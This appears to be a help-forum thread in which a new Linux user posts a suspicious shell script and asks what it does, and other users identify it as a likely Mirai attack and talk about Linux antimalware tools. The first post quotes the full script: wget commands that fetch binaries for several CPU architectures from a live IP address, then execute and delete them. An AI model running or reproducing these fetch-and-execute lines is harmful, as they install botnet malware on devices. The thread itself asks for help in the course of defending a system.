Linux Weird files.

[activity]

Hello people of the malwarebytes forums. 

I'm a new linux user and I've ran into this bins.sh from a site. 

I don't really know what it does. So if someone could shed some light on it would be greatly appreciated 

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.mips; chmod +x sirius.mips; ./sirius.mips; rm -rf sirius.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.mpsl; chmod +x sirius.mpsl; ./sirius.mpsl; rm -rf sirius.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.sh4; chmod +x sirius.sh4; ./sirius.sh4; rm -rf sirius.sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.x86; chmod +x sirius.x86; ./sirius.x86; rm -rf sirius.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.arm6; chmod +x sirius.arm6; ./sirius.arm6; rm -rf sirius.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.x32; chmod +x sirius.x32; ./sirius.x32; rm -rf sirius.x32
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.ppc; chmod +x sirius.ppc; ./sirius.ppc; rm -rf sirius.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.i586; chmod +x sirius.i586; ./sirius.i586; rm -rf sirius.i586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.m68k; chmod +x sirius.m68k; ./sirius.m68k; rm -rf sirius.m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.ppc; chmod +x sirius.ppc; ./sirius.ppc; rm -rf sirius.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.arm4; chmod +x sirius.arm4; ./sirius.arm4; rm -rf sirius.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93.123.73.10/sirius.arm5; chmod +x sirius.arm5; ./sirius.arm5; rm -rf sirius.arm5

 

Also don't know if this is in the right section or not so please move it if It's not. 

[rubberswip]

Check out this below link, with some more information regarding your exact problem :

https://stateofsecurity.com/?p=4126

It might be a Linux.Mirai attack & malwarebytes does not target Linux malware. You need an antimalware solution targeting linux malware such as kaspersky, eset or bitdefender.

[Pogba65]

Agree with rubbers you should install any antimalware software, to get rid of these files. 

[Amaroq_Starwind]

There's a Malwarebytes for Linux currently in development, if I'm not mistaken.

[rubberswip]

Have a look at this topic and the comment by staff, they are not developing linux as of now.

 

[Amaroq_Starwind]

I think if you install Wine on Linux, you might be able to install Malwarebytes on Linux. It won't be anywhere close to perfect, but at the very least, any Windows-based threats that try to gt onto your Linux/Wine system will be stopped by Malwarebytes.

[rubberswip]

For sure wine can help you install.exe file on linux OS and stop the windows based malware, but at the same time windows based malware will not do any harm to your Linux because they are only meant to harm windows os and not linux os, installing malwarebytes on linux through wine can only prevent you from malicious websites and that too if premium subscription is available.

Well as said earlier you can go and try linux antimalware which are developed for the linux os also which will protect you from malicious websites and linux malware.

For general purpose here is the comparison chart for linux antimalware solutions you can go in for :

https://www.av-test.org/en/news/linux-16-security-packages-against-windows-and-linux-malware-put-to-the-test/

hope this helps.

[rubberswip]

Also these linux based product can detect windows based malware , the old ones and the file format malware like .doc etc which malwarebytes does not targets.

[Amaroq_Starwind]

I've never even run Linux before, so I don't really know how to begin helping you get things like that installed.
https://www.winehq.org/

You can take a look yourself directly, but do note that certain Microsoft software such as Windows Update will (intentionally) refuse to function correctly if it detects that it's running on Wine.
 

I wish I could help you more than that. Godspeed! 🦊

[rubberswip]

I have been using wine from past couple of years on my another PC having ubuntu. But let's get it straight to end the topic, malwarebytes for linux is still not available. For more information I have tagged the experts and staff which might be able to help you further. @AdvancedSetup @exile360

Have a good day.